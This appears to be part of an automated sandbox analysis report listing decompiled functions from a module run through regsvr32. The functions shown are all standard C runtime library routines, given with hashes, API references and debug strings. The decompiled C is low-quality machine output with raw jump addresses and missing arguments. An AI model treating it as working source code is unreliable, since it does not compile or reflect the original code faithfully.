Opcode ID: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction ID: 2d2c21a115c33e05293010ad7c3501076a31da08f4abba68164bfd8b1e70ad26
Opcode Fuzzy Hash: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction Fuzzy Hash: 9EC14D3190CB8A85EBA08B28E84436EA3E0F386794F614535D6DE43BB5DF7ED448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 15%

			E000007FE7FEF9D3F000(long long __rcx, signed char* __rdx, long long __r8, long long __r9, long long _a8, signed char* _a16, long long _a24, long long _a32) {
				intOrPtr _v24;
				long long _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t80;
				void* _t81;
				void* _t89;
				void* _t92;
				intOrPtr _t102;
				intOrPtr* _t136;
				intOrPtr* _t137;
				intOrPtr* _t139;
				signed char* _t141;
				intOrPtr* _t142;
				intOrPtr* _t143;
				intOrPtr* _t144;
				intOrPtr* _t148;
				intOrPtr* _t149;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 == 0) goto 0xf9d3f031;
				if (_a24 != 0) goto 0xf9d3f038;
				goto 0xf9d3f31a;
				_t136 = _a16;
				if ( *_t136 != 0) goto 0xf9d3f066;
				if (_a8 == 0) goto 0xf9d3f05f;
				 *_a8 = 0;
				goto 0xf9d3f31a;
				0xf9d266b0();
				_t80 = E000007FE7FEF9D26840(0,  &_v88);
				_t137 =  *_t136;
				if ( *((intOrPtr*)(_t137 + 0x10c)) == 1) goto 0xf9d3f0d2;
				_t81 = E000007FE7FEF9D26840(_t80,  &_v88);
				if ( *((intOrPtr*)( *_t137 + 0x10c)) == 2) goto 0xf9d3f0d2;
				_t139 = L"_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2";
				_v104 = _t139;
				r9d = 0;
				r8d = 0x47;
				0xf9d2b3b0();
				if (_t81 != 1) goto 0xf9d3f0d2;
				asm("int3");
				E000007FE7FEF9D26840(0,  &_v88);
				if ( *((intOrPtr*)( *_t139 + 0x14)) != 0) goto 0xf9d3f121;
				if (_a8 == 0) goto 0xf9d3f106;
				_t141 = _a16;
				 *_a8 =  *_t141 & 0x000000ff;
				_v56 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v56,  &_v88);
				if (E000007FE7FEF9D32B90( *_a16 & 0x000000ff, _t141, _t141) == 0) goto 0xf9d3f276;
				_t89 = E000007FE7FEF9D26840(_t88,  &_v88);
				_t142 =  *_t141;
				if ( *((intOrPtr*)(_t142 + 0x10c)) - 1 <= 0) goto 0xf9d3f1f3;
				E000007FE7FEF9D26840(_t89,  &_v88);
				_t143 =  *_t142;
				if (_a24 -  *((intOrPtr*)(_t143 + 0x10c)) < 0) goto 0xf9d3f1f3;
				if (_a8 == 0) goto 0xf9d3f191;
				_v36 = 1;
				goto 0xf9d3f199;
				_v36 = 0;
				_t92 = E000007FE7FEF9D26840( *((intOrPtr*)(_t143 + 0x10c)),  &_v88);
				_t144 =  *_t143;
				_v32 = _t144;
				E000007FE7FEF9D26840(_t92,  &_v88);
				_v96 = _v36;
				_v104 = _a8;
				r9d =  *((intOrPtr*)(_v32 + 0x10c));
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f247;
				E000007FE7FEF9D26840(_t94,  &_v88);
				if (_a24 -  *((intOrPtr*)( *((intOrPtr*)( *_t144)) + 0x10c)) < 0) goto 0xf9d3f221;
				_t148 = _a16;
				if ( *((char*)(_t148 + 1)) != 0) goto 0xf9d3f247;
				0xf9d2ab30();
				 *_t148 = 0x2a;
				_v52 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v52,  &_v88);
				_t149 =  *_t148;
				_v48 =  *((intOrPtr*)(_t149 + 0x10c));
				E000007FE7FEF9D26800( &_v88);
				_t102 = _v48;
				goto 0xf9d3f310;
				if (_a8 == 0) goto 0xf9d3f28b;
				_v24 = 1;
				goto 0xf9d3f293;
				_v24 = 0;
				E000007FE7FEF9D26840(_t102,  &_v88);
				_v96 = _v24;
				_v104 = _a8;
				r9d = 1;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f2f8;
				0xf9d2ab30();
				 *((intOrPtr*)( *_t149)) = 0x2a;
				_v44 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				_v40 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				return E000007FE7FEF9D26800( &_v88);
			}

0x7fef9d3f000
0x7fef9d3f005
0x7fef9d3f00a
0x7fef9d3f00f
0x7fef9d3f024
0x7fef9d3f02f
0x7fef9d3f033
0x7fef9d3f038
0x7fef9d3f045
0x7fef9d3f050
0x7fef9d3f05c
0x7fef9d3f061
0x7fef9d3f073
0x7fef9d3f07d
0x7fef9d3f082
0x7fef9d3f08c
0x7fef9d3f093
0x7fef9d3f0a2
0x7fef9d3f0a4
0x7fef9d3f0ab
0x7fef9d3f0b0
0x7fef9d3f0b3
0x7fef9d3f0c5
0x7fef9d3f0cd
0x7fef9d3f0cf
0x7fef9d3f0d7
0x7fef9d3f0e3
0x7fef9d3f0ee
0x7fef9d3f0f0
0x7fef9d3f103
0x7fef9d3f106
0x7fef9d3f113
0x7fef9d3f11c
0x7fef9d3f126
0x7fef9d3f140
0x7fef9d3f14b
0x7fef9d3f150
0x7fef9d3f15a
0x7fef9d3f165
0x7fef9d3f16a
0x7fef9d3f17a
0x7fef9d3f185
0x7fef9d3f187
0x7fef9d3f18f
0x7fef9d3f191
0x7fef9d3f19e
0x7fef9d3f1a3
0x7fef9d3f1a6
0x7fef9d3f1b0
0x7fef9d3f1bc
0x7fef9d3f1c8
0x7fef9d3f1d2
0x7fef9d3f1f1
0x7fef9d3f1f8
0x7fef9d3f20f
0x7fef9d3f211
0x7fef9d3f21f
0x7fef9d3f221
0x7fef9d3f226
0x7fef9d3f22c
0x7fef9d3f239
0x7fef9d3f242
0x7fef9d3f24c
0x7fef9d3f251
0x7fef9d3f25a
0x7fef9d3f263
0x7fef9d3f268
0x7fef9d3f271
0x7fef9d3f27f
0x7fef9d3f281
0x7fef9d3f289
0x7fef9d3f28b
0x7fef9d3f298
0x7fef9d3f2a4
0x7fef9d3f2b0
0x7fef9d3f2b5
0x7fef9d3f2d3
0x7fef9d3f2d5
0x7fef9d3f2da
0x7fef9d3f2e0
0x7fef9d3f2ed
0x7fef9d3f2f6
0x7fef9d3f2f8
0x7fef9d3f305
0x7fef9d3f30e
0x7fef9d3f321

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F113
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D3F1E9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F239
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F263

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c, xrefs: 000007FEF9D3F0B9
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2, xrefs: 000007FEF9D3F0A4

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide
String ID: _loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c
API String ID: 3162172745-1617866167
Opcode ID: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction ID: 684ba7971de88d1067c150b2dc8aa1ec623b130c6e00156a0851ae80eca3a1f6
Opcode Fuzzy Hash: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction Fuzzy Hash: A9913C32A1C78586E7A0DB19E8507AEB7E0F785B45FA08136E6CD837A5DB3ED444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26BF0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Part of subcall function 000007FEF9D2C170: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D26E74

Strings

%.2X , xrefs: 000007FEF9D26DAD
, xrefs: 000007FEF9D26D3E
(*_errno()), xrefs: 000007FEF9D26DF9
_printMemBlockData, xrefs: 000007FEF9D26DED
Data: <%s> %s, xrefs: 000007FEF9D26E49
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invoke_watson_if_oneof_swprintf_p
String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 792801276-1329727594
Opcode ID: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction ID: 74944a5c68176a92a31906070f765b18f74d9586b7891cebb3d67554b9ce35f5
Opcode Fuzzy Hash: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction Fuzzy Hash: B2613872A0D7C186E7B49B10E8907AEBBA0F784740FA18126D6CD47BA9DB3ED404CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F900 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D3F913
__doserrno.LIBCMTD ref: 000007FEF9D3F99E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3F9D8

Strings

(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3FA38, 000007FEF9D3FAA0
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c, xrefs: 000007FEF9D3F97E, 000007FEF9D3F9C3, 000007FEF9D3FA4D, 000007FEF9D3FA92
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3F969, 000007FEF9D3F9D1
_get_osfhandle, xrefs: 000007FEF9D3F9CA, 000007FEF9D3FA99

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_get_osfhandle$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c
API String ID: 747159061-3177431134
Opcode ID: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction ID: efe890aaf17933dee885bd0091a5358479214bdc632742ad2579ba78141b5705
Opcode Fuzzy Hash: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction Fuzzy Hash: 25518C32A1864A86F7909B59E88076EB3E1F3807A5F609321E1ED077F5D7BED500CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BA60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 78memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2BAFB
HeapSize.KERNEL32 ref: 000007FEF9D2BB40
HeapReAlloc.KERNEL32 ref: 000007FEF9D2BB61
_is_LFH_enabled.LIBCMTD ref: 000007FEF9D2BB8B

Strings

_expand_base, xrefs: 000007FEF9D2BAED
pBlock != NULL, xrefs: 000007FEF9D2BA97, 000007FEF9D2BAF4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c, xrefs: 000007FEF9D2BAAC, 000007FEF9D2BAE6

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$AllocH_enabledSize_invalid_parameter_is_
String ID: _expand_base$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c$pBlock != NULL
API String ID: 1608253119-1427866139
Opcode ID: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction ID: af7a509f9d9663d3d091774dda128b819ecaca6506a1d0d194354ddf51f74ba4
Opcode Fuzzy Hash: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction Fuzzy Hash: 0F41573191DB4686E7A09B20F84436E72E0F786780F614135E6CD43AF8CBBEE485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D386B0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3876B
_invalid_parameter.LIBCMTD ref: 000007FEF9D3883D
_invalid_parameter.LIBCMTD ref: 000007FEF9D38B4C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D3871C, 000007FEF9D38756, 000007FEF9D387EE, 000007FEF9D38828, 000007FEF9D38AFD, 000007FEF9D38B37
string != NULL && sizeInWords > 0, xrefs: 000007FEF9D387D9, 000007FEF9D38836
_vsnwprintf_s_l, xrefs: 000007FEF9D3875D, 000007FEF9D3882F, 000007FEF9D38B3E
format != NULL, xrefs: 000007FEF9D38707, 000007FEF9D38764
("Buffer too small", 0), xrefs: 000007FEF9D38AE8, 000007FEF9D38B45

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnwprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c$format != NULL$string != NULL && sizeInWords > 0
API String ID: 2123368286-2958264153
Opcode ID: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction ID: 82e3240dde4e8d48ae566a9cb8a6505450234aa7e72eaba3f84792f0d3cada8d
Opcode Fuzzy Hash: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction Fuzzy Hash: 3CE14D31A1DA868AEBB48B24E84076EB3E0F385765F204225E6DD43BE5DB7ED445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C1A3 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C1F1

Strings

-, xrefs: 000007FEF9D3CA54
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-569934968
Opcode ID: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction ID: 28cad1f176e9be3240a3a6eae7be917d28bff7715537f6893ff636485155e31a
Opcode Fuzzy Hash: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction Fuzzy Hash: 4AD11D7260DBC58BE7B1CB65E8507AEB7E4F384785F200125EAC886AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BFDE Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3BFDE(char _a696, char _a976) {

				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

, xrefs: 000007FEF9D3CA88
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB
7, xrefs: 000007FEF9D3BFFE

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: wctomb_s
String ID: $("Incorrect format specifier", 0)$7$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2215178078-1895985292
Opcode ID: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction ID: 997c34190204a200d34649c4b27f82da9c53e16be2ae3c50a0a3632b50fb2b35
Opcode Fuzzy Hash: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction Fuzzy Hash: E5B12E7260C7C68AE7B1CB24E8457AEB7E4F384785F604126DAD887AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32260 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32310
_invalid_parameter.LIBCMTD ref: 000007FEF9D323B4
_invalid_parameter.LIBCMTD ref: 000007FEF9D32505

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D322C1, 000007FEF9D322FB, 000007FEF9D32365, 000007FEF9D3239F, 000007FEF9D324B6, 000007FEF9D324F0
_vsprintf_s_l, xrefs: 000007FEF9D32302, 000007FEF9D323A6, 000007FEF9D324F7
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D32350, 000007FEF9D323AD
format != NULL, xrefs: 000007FEF9D322AC, 000007FEF9D32309
("Buffer too small", 0), xrefs: 000007FEF9D324A1, 000007FEF9D324FE

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL$string != NULL && sizeInBytes > 0
API String ID: 2123368286-348877268
Opcode ID: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction ID: 912ac3d754b702bf63931d64d46681ea7dc30ff1a731304ef262a69894a36d33
Opcode Fuzzy Hash: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction Fuzzy Hash: 60913A32A0DA4286E7A08B68E84476E77E0F394365F204625E7DD43AF8DB7EE5458F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BB66 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D32B90: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D32BD7

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BC75
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BC8A

Strings

(ch != _T('\0')), xrefs: 000007FEF9D3BC0E, 000007FEF9D3BC6E
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3BC23, 000007FEF9D3BC60
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3BC67

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$(ch != _T('\0'))$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-4087627024
Opcode ID: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction ID: 0390e2d988dd4d1b4c77dc3c399ba89b4ed25e2388807167c80bf5b266a398b6
Opcode Fuzzy Hash: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction Fuzzy Hash: 95713A72A0D6C286E7F09B24E8947BEB7E4E384345F604126D6CD86AA9DB3ED540CF11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30FD0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D31084

Strings

dst != NULL, xrefs: 000007FEF9D31020, 000007FEF9D3107D
memcpy_s, xrefs: 000007FEF9D31076, 000007FEF9D3113B, 000007FEF9D311DB
sizeInBytes >= count, xrefs: 000007FEF9D31185, 000007FEF9D311E2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c, xrefs: 000007FEF9D31035, 000007FEF9D3106F, 000007FEF9D310FA, 000007FEF9D31134, 000007FEF9D3119A, 000007FEF9D311D4
src != NULL, xrefs: 000007FEF9D310E5, 000007FEF9D31142

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: dst != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c$memcpy_s$sizeInBytes >= count$src != NULL
API String ID: 2123368286-3692278645
Opcode ID: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction ID: a0804de238eaeeb3fb2e5788e9c0a34a411087d46cc23648724fab17a52a0f2c
Opcode Fuzzy Hash: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction Fuzzy Hash: 0E513C31A1C68686F7A0CB24E8447BE76E5F384344F604136E6CD47AB8DBBEE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BC30 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_base.LIBCMTD ref: 000007FEF9D2BC55
_free_base.LIBCMTD ref: 000007FEF9D2BC6C

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

